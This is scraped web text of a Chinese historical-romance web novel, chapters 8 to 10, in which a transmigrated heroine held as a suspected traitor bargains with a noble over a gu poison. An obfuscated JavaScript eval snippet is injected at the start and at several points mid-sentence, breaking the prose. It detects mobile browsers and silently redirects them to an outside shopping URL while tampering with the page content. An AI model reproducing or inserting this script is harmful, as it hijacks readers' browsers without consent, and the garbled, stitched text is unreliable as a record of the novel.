l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576780|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的水痕。身上的刀伤愈合后的伤痕并不狰狞丑陋,被热水泡过后,有些微微泛红。 四目相对,姜暖有些意料之外的尴尬,她并没有想到会在这么突然的情况下跟不想见的人打了个照面。 “撒开。”姜暖往回扯了一下,唐田像只受惊的鹌鹑原地跳了一下,松开了手。 姜暖淡定地将隔帘往上一提,然后淡定地转身回房。 啧,还好刚刚没敲门,这房里住的果然是沈晏。 沈晏面无表情,重新将门关上。 唐田知道自己的屁股又要受罪了。 不知道何时出现在他背后的唐枳沉重地拍了拍他的肩头,叹息道:“我和世子就出去了一会儿,你俩这是唱得哪出戏啊?美人计?” 唐田苦瓜脸:“这只是个意外……” …… 唐田征得了沈晏的同意后,还是去给姜暖采买了衣服。一身普通的衣裙,瞧着像服侍世子的丫鬟,但是头发的问题还是没有解决,只买了一本《大昭女子发髻鉴赏》让姜暖自己学。 姜暖翻开画本看了看,然后给自己梳了一个低马尾。 夜晚还未完全落幕的时候,驿站外传来了此起彼伏的爆竹声,声声震耳欲聋。姜暖伏在四方桌上心下寂寥,以往的除夕夜似乎身边总会有很多人。 朦朦胧胧中,似乎有很多人的身影围在自己的身边,有人在唱歌,有人在喝酒,还有人在打靶,好不热闹。 卧房里准备了纸笔,姜暖将毛笔从中间折断,然后用断裂的笔杆沾了墨汁在纸上涂涂画画,想将脑子里模糊闪回的画面记录下来。 嘭—— 一声巨响似在耳边炸开,姜暖手中的笔骤然停顿。 被巨响震出了一串耳鸣声,她突然想起了她死之前的那场爆炸,眩目的白光,和在白光中被撕裂的身体。脑子里的画面逐渐清晰,一些碎片似的信息开始重组,迅速地在她的脑海中倒放。 此时,天井里。 “哥你哪里来的爆竹,威力这么大!” 唐枳骄傲脸:“我自己做的,稍稍加了点小东西。” 唐田兴奋大叫:“再放两个!” “放这个没意思,晚上我给你放烟花。” “哇,你连烟花都会做,你太厉害了吧!” “烟花不是,买的。” “……” 待恢复安静后,姜暖坐在桌前看着桌子上的两幅简笔画,陷入了沉思。 随后,她缓慢提笔,在一幅应该是人物肖像的画上写下了一个名字——姜竹。 刚刚因为那惊天动地的一吓,倒是让她想起了一些“前世”的记忆,顺带还附赠了一些原主的记忆。 在前世,她生活在科技发达的现代社会,她有一群志同道合的朋友,还有一个将她从无知孩童拉扯长大的师父,姜竹。 在一次任务中,她和师父经历了一场爆炸当场殒命,而她的魂魄不知为何却来到了这个历史书上查不到的朝代。 原身的记忆则只有一小段,那便是有一个戴着面具的女子亲手在她的后腰的位置纹上了刺青,并告诉她,从今日起,你就是青衣。 8. 第 8 章 在驿站最里面,有一个僻静的杂物间,里头关押着一个浑身是伤的男人。 他整个人站立着被绑在房间的立柱上,脸上戴着黑色的铁制面具,那面具的边缘紧密地贴合着皮肤,细看就会发现,整张面具是被焊在脸上的。 他的嘴唇因为脱水而皲裂,眼神因为饥饿逐渐开始涣散。 十个手指的指甲被拔了一半,血液在地板上滴滴答答地叠成了一片,疼痛使他全身痉挛,下/体失禁。浓烈的腥臭味将整个房间包裹,无法散出去。 他已经不知道过去了几天,只依稀记得很久没有进食了。 但是他现在特别想喝酒,一口也行。 吱呀—— 随着木质房门的推开,一丝光亮从门口蹦进来。 他艰难地抬头望过去,视野里首先出现了一团红色的火光,从门口的位置慢慢飘过来,最后停在某一处。 他舔了舔嘴唇,眨巴了两下眼睛,才看清那是一盏烛台。 而烛台旁边,站着一个人。 他呜呜地开口想说话,却发现他发不出像样的音节。 是了,他没有舌头。 来人是唐枳,脸上挂着和煦的微笑,手里是他这几日新做的小玩意儿。 “我知道你们的嘴巴紧,所以特地为你准备了这些。”他将东西一一放在男人眼前,仔仔细细地介绍了一遍,连使用方式都详细说了。 每说一个,男人的身体就抖一抖,看向唐枳的眼神也仿佛在看什么变态。 唐枳从一堆奇形怪状的东西里挑了一个比较吓人的,问:“想不想知道人体的极限在哪里?” 还未靠近,男人就剧烈地挣扎起来。 唐枳笑了笑,将纸笔拿过来。 “早想通,又何必受这么大的罪。” 这个时候,变故突生。 一支利箭划破夜空,破窗而入,直奔那人的脑袋。唐枳眼疾手快,一把掷出了托盘,替他挡住了致命一击,却没能挡住接连而来的第二支。 等唐枳追出去的时候,已经有几个侍卫朝着那两道黑色的影子追了过去。 他喊来两个人处理屋内的尸体,自己则拿着纸笔往客房的方向走去。 屋后树丫上的乌鸦嘎嘎地叫了两声,扑腾着翅膀飞远了。 …… 姜暖背对妆台上的铜镜站立,将衣服的下摆撩起来,果然在后腰接近股沟的位置发现了一块半个巴掌大的纹身。 一条蜿蜒的红眼黑蛇。 她真的是青衣么? 桌子上铺满了白纸,纸上都是她刚刚头痛的时候提笔写下的,看着杂乱无章。 她穿过来之前的记忆自是没什么问题,倒是林小娘的记忆让她很头痛。 那琐碎的片段虽然不多,但是恰好说明一件事。她现在的这个身体,说不定真的是当年的青衣。 如果这次真的被锤死了青衣的身份,她又想不起来五年前发生的事,那将完全处于被动的状态。 罪不是她姜暖犯下的,最后万人唾骂要她姜暖来抗吗? 这不公平! 她猛地捶了一下桌子。 要不,趁早逃了吧? 门被敲了一下,唐田的声音从门外传进来。 “大半夜的,不要搞得咚咚响。” 这几日在驿站自由活动虽不受限制,但是,身后总是跟着唐田这条尾巴,她的一举一动都在监视下。只要没睡着,唐田的身影总是会出现在她看得到的地方。 虽然她这副身体底子不错,柔韧性极佳,她用起来也十分顺手。对付几个不入流的小蟊贼不在话下,但是唐田和唐枳看起来功夫都不差,更别提还有沈晏那个家伙。 姜暖推算了一下,发现逃跑成功的概率趋近于零。 一下子就被气笑了呢。 姜暖颓丧地将双脚搭在桌子上,撅起的上唇将毛笔挂住,整个人往后仰,瘫在椅背上,手里抓着那几张涂涂画画的白纸举过头顶看了又看。 逃也逃不掉,说实话也没人信,难道就只能等着被午门斩首? 肚子突然感觉有点不舒服,姜暖坐起来,撩开衣服看了看,发现肚脐眼周围有五个红色的小点。像是被什么虫子咬了,颜色红红的,还有点发烫。 不疼不痒,就是有点发热。 脑子里闪过几个画面,但是太快了,她没抓住。 窗外又传来几声诡异的鸟叫声,听着像夜鸮的啼叫声,她的潜意识里总觉得她忘记了什么很重要的事。 咕噜噜—— 她蹬了一下桌腿儿,将手里的鬼画符团吧团吧往地上一扔,站起来就往门口走。 事已至此,还是先填饱肚子最重要。 一开门就和唐田撞了个脸对脸。 “去哪儿?” 姜暖将人扒拉开,“搞点吃的。”厨房笼屉里的大白馒头应该还剩了几个。 唐田:? 不是才吃过?怎么又饿了。 唐田抱着长剑屁颠颠地跟在她后面,一起拐进了后厨。 等姜暖终于吃饱喝足回房睡下已经是后半夜,听着卧室内平稳的呼吸声,唐田将地上的纸团子捞起来拐去了沈晏的房间。 灯还亮着,唐枳也在。 “今日驿站后院出什么事儿了?”他迈着长腿推门而入,方才在前院他听到了点动静,“那活口出事了?” 唐枳看着他点点头,道:“是我大意了。” 对方那两箭的位置射的极准,想必是提前观察了好几天了,没想到对方竟然知道有幸存的活口。 他说完又问:“姜姑娘那边有情况?” 这几日,唐田都被安置在姜暖身边,夜半过来,想必是有重要的发现。 唐田将手里的纸团交给沈晏。 “情况倒没有,就是一下午都在屋里写写画画。” 他在窗边守着,也没看清写的啥。只觉得这女人的行为很古怪,写字要用没毛的那头写,写完一会儿唉声叹气,一会儿莫名发笑,还在房间里哼着他从来没听过的古怪曲调。 “瞧着像做法。”唐田的娃娃脸上写满了担忧二字,“该不会是从南疆学了什么巫蛊之术,意图对世子不利吧。” 他之前就听说南疆那边喜欢跳大神,先在纸上涂涂画画,然后跳个舞转几个圈圈,还要又哭又笑,最后再唱一种听不懂的歌。 “……”唐枳无语了一下,用一种看傻子的眼神看他,“少看点话本子吧。” 要真有这种本领,都不用带兵打仗了,都在屋里跳大神多好。 唐田停下强行思考的大脑,打了一下自己的小嘴巴,嬉笑道:“担心嘛,担心。” 沈晏刚把纸团展开,那状如恶鬼的字就那么跳了出来,他只感觉太阳穴一跳,只匆匆扫了一眼就扔了。 没见过这么丑的字,丑得他眼睛疼。 唐田手快,探了半个身子过去捞起来同唐枳一起看。 每个字都很大,虽横平竖直但墨迹时浓时淡,活像一团干枯的树杈子似的挤满了整张纸,只能依稀认出几个字,个别几个字感觉还少了点笔画似像非像。 唐枳只感觉脑袋猛地晕了一下便移开了眼。 倒是唐枳很乐在其中的辨认,这几笔倒不像夫子的字会催眠。 “她是故意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576781|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的?”沈晏不由得怀疑这是不是她拙劣表演的欺瞒手段。 “应该……不是。”唐枳说,“会写字的人很难将字写得这么……奇特。”他停下来思考了一下,又补充道:“且风格统一。” 沈晏捏了一下鼻梁,那几个宛如鬼上身的字带给他的冲击力着实不小。 “明日便出发吧。” 他们在洛安已经逗留太久了。 屋外,夜色如泼墨,逐渐将这方小小驿站吞噬干净。 …… 这一夜,姜暖睡得不是很安稳。 屋檐下的惊鸟铃被夜风惊扰,发出了清脆的叮铃声。 姜暖在沉睡中逐渐皱起了眉头,翻个身变成了侧卧。她的体内突然有一股难言的灼痛从腹中扩散开。如石子砸入平静的湖面,痛感一圈一圈向四肢百骸荡漾。痛感的中心仿佛有一只爪子时轻时重地挠着她的肠壁,最后骤然发力,将她的肠子都拧成了麻花。 “呜……” 她自深睡中醒来,身上已被汗湿了一大片,剧烈的疼痛让她不由得佝偻着身体从床上翻滚下来。房间里乌漆麻黑的,她想张嘴喊人却发现她痛的连开口发声的力气都没有。 脑子昏昏沉沉的,她蜷缩在地上不由得思考,到底是小日子骂骂咧咧而来还是那两个大白馒头里加料了。 不过这痛感倒是有几分熟悉…… 泪水不受控地流下,睫毛被糊在一起。这会儿神思还未清明,只觉得眼前雾蒙蒙的,依稀觉得屋内有一缕淡淡的说不上来的香味。 恍惚间,感觉自己咬紧了的下巴被人捏开,然后塞进来一颗泛着苦味儿的药丸子。 “解药。” 好像有风在她耳边说话。 姜暖费力眨巴了两下眼睛,想看清这个人是谁,但是对方从头到脚都包的黑黢黢的,加上这房间里黑黢黢的,她一点也看不清来的人是男是女。 只是觉得那声音幽幽的,听着有些耳熟。 “你……是谁?” 姜暖下意识伸出手往前面一抓,但什么也没抓到,那股香味也随之消失了。 她在地上又躺了一会儿,直到痛感完全消失,身上的力气慢慢恢复,脑子也逐渐清明了。 爬起来在房间里看了一圈,她也不知道那人是怎么悄无声息进来的,要不是舌头上还留着一点苦药味儿,她还以为刚刚发生的一切是幻觉。 莫名又被气笑了。 刚刚她是毒发吗?送解药的又是谁? 脑子里顿时被搅得一团乱麻,姜暖搓了搓本来就毛躁的脑袋,有一种命被捏在别人手里的不爽感。 能算准毒发来给她送解药的,说不准也是给她下毒的。 一个合理的猜测出现在她的脑袋里。 她应该是送到沈晏身边的棋子,结合沈晏将她带在身边的目的来看,对方的目的看来是要借助沈晏的手来查五年前发生在青罗城的真相。 也就是说,青衣通敌叛国这件事,背后应该隐藏着另一种真相。 她如果真的是青衣,那么是不是也有脱罪的可能? 但是…… 她作为棋子,也随时有可能变成弃子,最后毒发身亡。 姜暖将自己扔在床上,有一种高德地图将她带到了一堵墙面前,告诉她这墙后面是一条路的感觉。 这几日肚脐四周一直隐隐发烫,但眼下这种古怪的感觉突然消失了。 她撩起衣摆一看,肚脐一圈泛红的几个红点颜色都变浅了,从红色变成了粉色。 她猛地坐了起来。 等等。 这堵墙上,上帝好像给她开了一扇门。 9. 第 9 章 青州与漓州毗邻,中间隔着一条河,名为黑水。 第二日一早,唐田便哐哐哐敲开她的门,让她赶紧收拾收拾上路。 “这么急?”姜暖问。 “让你走就走,啰唆什么。”唐田站在门口,大手按在门扉上,语气算不上恶劣但也算不上友好。 这个女人真是没有一点身为囚犯的自觉! 犯下如此滔天大罪的人,落在他们手里应该如老鼠见了猫似的担惊受怕,哪儿像这个女人。 唐田的眼睛上下扫了扫。 姜暖应该是刚睡醒,湖蓝色的袄裙外头披了件鹅黄色的褂子,一头黑发随意拢在后脑勺,干枯分叉的发尾蓬松得像是挂了个鸡毛掸子在后背。这懒散自在的模样哪里像个阶下囚,倒像庄子上好吃懒做的姑奶奶。 姜暖翻了个白眼,“不说我就不走!”说着就要回屋。 她睡醒了正思考着昨晚的事呢,唐田就过来砸门,搅得她思绪全断了。 这群人整天把她是青衣挂嘴边,一路上除了说她眉尾的小痣和后腰的纹身和青衣一模一样,也没见他们掏出官府通缉画像扔她脸上啊。 不明不白背这么一大口黑锅,是人都有三分火气。 现在连去哪儿,干什么都不告诉她。 就算是上刑场也要提前通知吧! 也许是昨晚的事让她心里烦躁得很,一晚上没咋睡好。这大早上又被唐田搅了思绪,心头积攒的火气有点不受控制地蹭蹭蹭冒起来了。 她突然就想硬气一下。 唐田愣了一下,长腿一跨,左手拇指抵着刀把就要出鞘,右手去抓姜暖的肩膀。 “这可由不得你!” 真是惊了,第一次见脾气这么大的囚犯! 姜暖感觉背后有气流窜动,侧了身来准备扫退攻击他的下盘。 “吵什么?” 沈晏大步流星地走过来,背后跟着唐枳。 唐田退回屋外,恭敬地行了个礼,然后斜眼看了一眼屋内。 姜暖仍站在原地,脸上写满了不耐烦。听见沈晏的声音下意识撇了一下嘴,抄起双手将身体的重心转移到左脚,右脚往前挪了一下,站了个二八站姿。但由于裙子宽大,倒也看不出什么,只是让人觉得这姑娘身上怎么突然有了一股匪气? 唐田:“这女人……” 沈晏看了他一眼,他连忙改口:“姜姑娘说她不走了。” 沈晏有点意外,不过也只是诧异了一下,便开口道:“那就打晕,绑起来。” 姜暖闻言,那火一点没往下掉,反而又窜了一下。 她下巴一抬,“试试?” 她现在有点想打一架泄泄火了。 从一开始将她从鬼门关拉回来,再到后面虽然有意让她不好过,但也是以她能活着为基础的。前不久的刺杀也是在保她的命,尽管又差点被这人一脚踹回阎王殿,后面好歹又给她救了回来。 她现在敢这么叫板,也是因为她知道,她这条命目前来说对他们还挺重要的。 沈晏立在门外,侧着身体,只微微朝门内偏了一下头。 他今日穿得是一件玄色的劲装,外套了一件靛蓝色的披风,脖子一圈依旧是雪白色的狐狸毛围脖,那眼神儿往下一瞥,就是一股杀气儿。 姜暖只觉得他好似笑了一下,她隐约觉得那个笑容不是啥好兆头。 身体正要警惕起来,分出心神留意唐田和唐枳左右两个护法的动静。突然觉得脑门一痛,整个人都懵了一下,接着便倒地不省人事了。 沈晏竟然用碎银子砸她的脑袋! 卑鄙。 …… 再次醒来的时候,首先感觉到的是脑门上的刺痛。 姜暖气的在心里骂娘,想揉揉脑门,却发现自己双手双脚都被绑着,整个人像只毛毛虫似的蜷缩在一辆马车内,脚板心感觉有点凉飕飕的,不知道谁把她的鞋脱了。 不过这个马车比她之前坐的要宽敞许多,还铺了一层厚厚的软垫,垫子上还有一张完整的兽皮,车里还有一股若有若无的甜香。 闻到这个味儿,她都不用抬头看就知道是沈晏的马车。 姜暖心里一阵鸟语花香。 “醒了?” 沈晏曲起一条腿,赤着脚踩在坐垫上,脚边放着一个荷包,里头全是大大小小的碎银子。此刻他手里还搓着一粒,在思考要不要继续将人打晕,但还是礼貌地提前问了一句:“要继续睡么?” 姜暖背脊不由得一抖,碍于现在全方位的受制于人的处境,她将方才的火气暂时压了下去。 “不了。” 但是她还是想有尊严地同他说话,于是她翻了个身,打算先用头和膝盖作为支撑点,利用腹部和大腿的力量让自己坐起来。 好在她身体的核心力量不错,没有费太长的时间就从侧躺变成了跪坐。 沈晏看着眼前的人背对着他,撅着屁股在车里蛄蛹了好一会儿,搓着碎银子的手就那么停了下来,似乎是没见过人类的蛄蛹。 过了好一会儿,姜暖才坐起来,顺带找了个地儿靠着。双腿因为被绑着的缘故,眼下只能侧着身体坐着,甭提有多难受了。刚刚脸还在扎嘴的兽皮上蹭来蹭去,搞得脸有点痒,但又挠不到,只能拼命地努嘴缓解一下。 然后就听到噗呲一声。 ? 姜暖瞪过去,但是沈晏根本没看她。 听错了? “青州,有青衣的故人。”修长的手指在膝盖上敲着节拍,沈晏懒懒道:“你是不是青衣,此行必然有个结果。” 这段时日对她的试探和接触他心里大概有了个判断,培养暗探虽然有教无类,但都遵循大隐隐于市的教条,行住坐卧皆是不出格不打眼。何况当年青衣行事低调谨慎,断然不像这自称姜暖的女子,做事总会引人注意。 背后之人若有意将林娘子放出来扰乱视听,为何要选…… 沈晏打量了一下姜暖,行事风格实在是打听到的林娘子两模两样,但又确实是同一个人,小山村偏僻得很,近几年就没有什么外来的生人。 究竟是棋子出了问题,还是下棋之人有别的打算? 沈晏有点头痛,打算闭着眼睛休息会儿。 姜暖却是不打算放过他,稍微一思量,就开口放了个大招。 “昨夜我蛊毒发作,有人进我的卧房送了解药。” 沈晏睁眼。 之前,胡谯确实曾提过,她的体内似乎存在一种毒素,不过目前并不致命。与其说是毒,倒不如说是蛊,蛊原本是南疆才有的东西,后由密探传入大昭。不过为了避免危害百姓,所以目前只掌握在大昭皇室手中。 主动提及此事,难不成要自首? “但是蛊毒并没有解,我应该是个被安排好的棋子。” 沈晏闭眼。 哼,废话。 姜暖又小幅度往前蠕动了一下,“你想知道她是谁吗?” 若是受制于两边,不如选个合作伙伴。就眼下来说,选沈晏这边对她比较有利,虽然在他们手里,是个疑似死刑犯的身份,但好歹好吃好喝也没遭受过非人的虐待,况且身份问题尚有转圜的余地。 比起未知的危险,她觉得还是已知的危险比较好应付。 最重要的是,这蛊毒她刚好可以解。 沈晏复又睁眼,轻飘飘地投过去一个眼神,嗤笑道:“你不是失忆了么?”眼神里因为姜暖的鸡窝头闪过一丝明晃晃的嫌弃。 姜暖察觉到他在自己头发上停留的这一秒,倒也没觉得尴尬。这种贵公子一般都有点性格缺陷,什么洁癖啊,讲究啊,她早就见怪不怪了。 耐着继续说道:“只要我活着,他们就一定还会来找我的,不是么?” 沈晏脸上有了点笑意,搭在膝盖上的手无意识地搓着指尖。 “你不是被下毒了?”说着头微微一歪,整个人有一种说不出的懒散,“他们要是得知你倒戈,你不就……” 说着他倾下身来,薄唇贴近姜暖的耳朵,一字一顿道:“必、死、无、疑。” 突然的靠近让姜暖些微不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576782|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒服,耳朵附近被他的气息撩得痒痒的,她不由地往后退了一下,歪着头在肩膀上蹭了一下。 沈晏已经重新靠了回去。 姜暖皱了下眉,她敢这么说,自然是有自己的思量。 不知道是不是巧合,那日毒发的痛感让她有一种很熟悉的感觉,似乎是在她来这里之前就体验过。后来根据她的猜测和验证,那应该是一种苗疆的蛊虫。 以前她和师父在苗疆执行任务的时候,她曾经中过这种蛊。这种蛊虫被人体吞食后,会将钩子似的虫足附着在肠壁上,一般情况下会保持沉睡,不会主动攻击人体。但是沉睡一定的时间它就会醒来觅食,在人的身体里啃咬,让人肠穿肚烂而亡。 所谓的解药不过是让它重新沉睡,只有给它喂食山道年蒿这种草药才能彻底麻痹它,最后顺利排出体外。 这个蛊还有个十分明显的特征,肚脐眼周围会有几个小红点,蛊虫沉睡时颜色浅淡,不细看根本看不大出来。蛊虫醒的时候,这几个小红点会开始发烫发红,好像几颗红豆。 所以苗疆的老人叫它相思蛊,本意是红豆寄相思,跟情情爱爱倒没什么关系。 姜暖被绑得有点难受,动了一下快压麻的半边屁股,跪起来换另一边。 她心里很清楚,“要是把通敌叛国的罪名坐实了,那才是必死无疑。” 沈晏这么多年不放弃寻找青衣的下落,至少在查清五年前的真相之前,她的性命在他这里应该会暂时无忧。 沈晏将脚放下来,这双脚如暖玉做的一般,指甲修剪得圆润饱满,赤足踏在褐色的兽皮上感觉像是陈列在博物馆的人体艺术品。 姜暖低头看着他的脚背眨了眨眼睛,继续道:“不如我俩合作,你得到你想要的真相,我也为我自己谋一个活路。” “至于我身上的毒……”姜暖抬起头,觉得自己应当算是一个性价比不错的合作伙伴,“若我能解开,你是否会相信我合作的诚意?” “哦?”沈晏的眼里突然来了点兴致。 疑似青衣的逃犯,身中南疆蛊毒,九死一生后性情大变,跟从前判若两人。现在还大言不惭地说能解自己身上的蛊毒……有意思。 姜暖继续游说:“左右你不损失什么,若是半路发现我不好使,杀了便是。” 马车以最快的速度在官道上飞驰,唐枳在车前驾马,唐田在左侧护行。马车后跟着一小队人马,约莫五六个。他们的身上皆是统一的服饰,腰间皆配备了长刀长剑,应是安王府的一众侍卫。 此时夕阳刚刚落下山头,残留的余晖还停留在天际,映照出一丝光亮。随着浓雾渐起,气温也逐渐降低了。 傍晚后,视野变得狭窄,好在官道宽阔平坦,偶有山腰滑落下来的石子妨碍行进速度。眼下天光还未完全散去,马车两侧分别挂上了两个灯笼照明,这一路倒也平稳。 “你倒是敢想……”半晌,沈晏才慢条斯理地开口,“若你脑子没出问题倒还有点价值。” 一个失了忆,连自己是谁都不知道的棋子,于他而言,毫无价值可言。 姜暖:“……” 说得倒有几分道理,但她还是忍不住吐槽起来,“要是没有发生“失忆”的情况,估计也不会跟你谈这些了。” 沈晏嫌弃地看着她,那要是恢复了记忆,第一件事岂不就是背刺他?他沉声道:“姜姑娘。” 姜暖往前挪了挪屁股,“您说。” “求人,是需要诚意的。” 恰在此时,马车发生了巨大的颠簸,姜暖所在的那一侧车轮似乎是压在了一块石头上颠了一下,车身的猛然晃动让她无法控制身体的平衡,就那么脆生生地朝沈晏磕了一个重重的头。 沈晏:“……” 虽然是个意外,但他还挺没有准备的。 伤上加伤的姜暖疼得眼泪水都出来了,既然都磕上了,她也不想浪费这个大礼了。 “给个机会吧……”嘴比脑子快,声音都带着点儿恰到好处的哭腔。 这倒是意外了,沈晏无声挑了挑眉。 10. 第 10 章 正驾车的唐枳突然听到里头咚的一声脆响,“世子?” 灯笼在夜间照明的范围有限,加之这段路上的泥石较为密集,刚刚估计是车辙碾轧到了较大的碎石块。 除了刚刚那一下颠得有点重之外,其他时候还是比较平稳的。 他家世子应该也不至于被颠得坐不稳吧? “无事。”平稳的声音自马车内传出。 唐枳放下心来,继续挥舞着手里的鞭子,同时朝唐田比了个手势。 唐田意会,带着几个兄弟疾驰在马车前方,利用马匹上配备的马提灯辅助照明。 哒哒哒的马蹄声回荡在这僻静的管道上,从高空俯瞰,整个队伍像是一条亮着红光的长蛇蜿蜒前行在黑漆漆的山腰上。 与此同时,队伍后方不远处一个微弱的红点正快速地靠近队伍。 唐田耳朵好,听到了这越来越近的急促的马蹄声。他回头一看,只见后方有一匹快马提速赶上来,马儿直接绕过了队尾来到他的旁边,直到与他并肩前行。 来人也是他们一样的服饰,两人简单打了个招呼,对方便将手里的包裹交抛给了他。 唐田接过包裹,将手里的缰绳抛给来人,自己则一个腾身踩上了马车的驾驶座,唐枳已经给他提前让好了位置。 那人将唐田的马牵着,渐渐减速到了队伍最后面。 唐田坐在马车上,将包裹打开,发现里头是一个装着液体的容器,颜色黑黢黢的,摸着滑手。 “世子大老远让人去青罗城,就是取这个?”唐田掂了掂手里的东西,像是酒坛子,坛子上还沾着些许新鲜的泥土。想着世子喜洁,便下意识撩了衣袍将坛身擦干净了。 唐枳见他把酒坛擦干净了,便利索地将手里的马鞭扔给他,道:“换班了,这东西我来送。”说完,不等唐田叽叽歪歪,劈手夺过来,转身撩开了帘子。 这会儿,姜暖已经坐起。由于脑门儿接连遭受了两次重创,直接肿了一个大包,红彤彤的,如果她手里再捧个桃儿跟寿星公也没两样了。 真是人为刀俎我为鱼肉。姜暖心中愤愤然。 既然谈不拢,那便罢了,她从不为难自己,干脆换了个舒服的姿势靠着,闭目养神。 唐枳撩开帘子便看到了她红肿的额头,那头发也乱得不行,还有几根黏在脸上,瞧着颇有点可怜。 带着一丝歉意的眼神迅速扫过她,转向沈晏:“世子,东西取来了。” 沈晏嗯了一声,将东西接过。 唐枳主动汇报了一下行程,“明日一早便能到达云县,午时之前可在码头安排渡江。” 沈晏稍加思索,道:“渡完江可休整一夜。” 唐枳点头,将帘子放下,车厢里一时又陷入了莫名的沉默。 沈晏从背后的抽屉里取出了一套琉璃杯,杯形宛若郁金香,颜色几近透明。 他先是用绢帕细细擦了一遍已经擦过的坛身,然后又拿出一把做工讲究的小锤子轻轻敲打顶部边缘,便于让风干的封泥松动。 接着又细细清理掉泥渣,将酒盖取掉,最后才解开封绳,揭开盖在瓶口上的厚布。 做完这些后,他开始倒酒。 他的每一个动作感觉都是被规训过的。开坛的手法和步骤,倒酒时倾倒的角度,还有手腕的高度,连最后酒水距离杯口的高度都有讲究。 姜暖听到动静睁开眼,就看到这么一幅美人斟酒的画面,不得不说确实挺养眼的。 特别是那骨节分明的手指抓握住坛身时,已经有点发黑的釉面更加凸显出了那双手的瓷白和细长。 沈晏的手腕竟然能在如此颠簸的马车里还能保持这么稳当,这酒竟然一点没洒出去! 美人突然开口:“姜姑娘方才的诚意很足。” ? 这是在嘲讽她? 她还没得出结论,熟悉的酒香便钻入了她的鼻腔。 她自我怀疑了一下:青梅酒? 车厢逐渐被馥郁的酒香盈满,青梅鲜果的酸香带了点清洌将她的思绪带回了家乡。 与其说是家乡,其实也不尽然。 她从生下来便被亲生父母卖了,后来不知道转手了几次,最后落到了一群雇佣兵的手上,她的最后一个买家就是她的师父姜竹。 她被带离了华国,游走在三个国家的交界处,俗称三不管地带,那里简直是雇佣兵的天堂。 姜竹比她大十岁,手把手教她各种生存技能,她的一身好本领大部分都是姜竹教的。后来她们逐渐在圈子里打出了名气,身价也是水涨船高。 姜竹除了摆弄枪支器械外,还会拉着她培养一些普通人的爱好。 酿酒,就是其中一项。 但是,她每次都懒得动手,除了执行任务就是吃喝拉撒睡。姜竹也不勉强她,就让她在旁边守着看。 “青梅酒嘛,就是要搭配琉璃杯喝才得劲咧!”在吃喝上,姜竹也是个讲究的人。 姜暖不由得将眼神聚焦在琉璃杯上,杯壁有细微的波浪纹,赤褐色的青梅酒倾入其中,宛如金沙流动。 依照这个色泽来看,这瓶青梅酒可能至少有三年的年头了。 “姑娘要合作,我可以给你这个机会。” 沉稳的嗓音又将她的思绪拉了回来,她把视线从琉璃杯转移到沈晏的脸上,背脊也不由得打直了点。 竟是头一回觉得沈晏的声音悦耳。 沈晏将杯子放在鼻子下闻了闻,却并没有喝,而是递到了她的嘴边。 “先把这杯酒喝了。” 怎么?毒酒? 她有点犹豫,不会又想给她下另一种毒控制她吧。 “不敢?”沈晏见她犹豫,便作势要撤回。 但机不可失时不再来,姜暖决定赌一把。 她伸长了脖子过去一口将杯子叼过来,仰头便将杯中的酒水一饮而尽。 反正她身上还有蛊毒,从前帮他解蛊的老人说过,这个蛊虫可以克一部分毒素,只要不是什么见血封喉的猛毒,其他慢性的毒素应该都可以被蛊虫慢慢代谢掉。 入口是一股浓稠糖浆感,还有普洱茶似的滑厚喉韵,应该是三年以上的陈酿。基酒应该是用的米酒,有一种米浆的柔滑感,酸甜突出,后调还有一股微微的焦香! 这酒…… 琉璃杯从嘴边落下,姜暖猛地一抬头,眼睛里仿佛有光炸开,她急切地问:“这酒谁酿的?”要不是她手脚被绑着,说不定已经上前揪着沈晏的衣服了。 只有她的师父姜竹在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576783|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酿青梅酒之前,会把青梅烤一下。所以她酿的青梅酒总是有一股若有似无的焦香味儿。 沈晏将她的表情尽收眼底,敛下方才一闪而过的神情,直直地看着姜暖的眼睛,语调随意,“大昭的酒肆皆可酿造。” 他说完便感觉姜暖亮晶晶的眼睛一下就黯淡了,垂着头不知道在想什么,连背脊也松了下来,整个人好似被霜打了的茄子。 车厢里突然异常的沉闷,沈晏十分不喜欢这种感觉,正欲开口说什么。 姜暖突然重新坐直了,眼神也重新聚焦,那双眼睛的火光似乎并未完全熄灭,语气也比从前欢快了一些。 她问:“这酒我喝了,这机会是不是就给我了?” 这瓶青梅酒,她不信是一个巧合。之前就隐约猜测她的师父也一起魂穿了,如今她的预感越来越强烈。 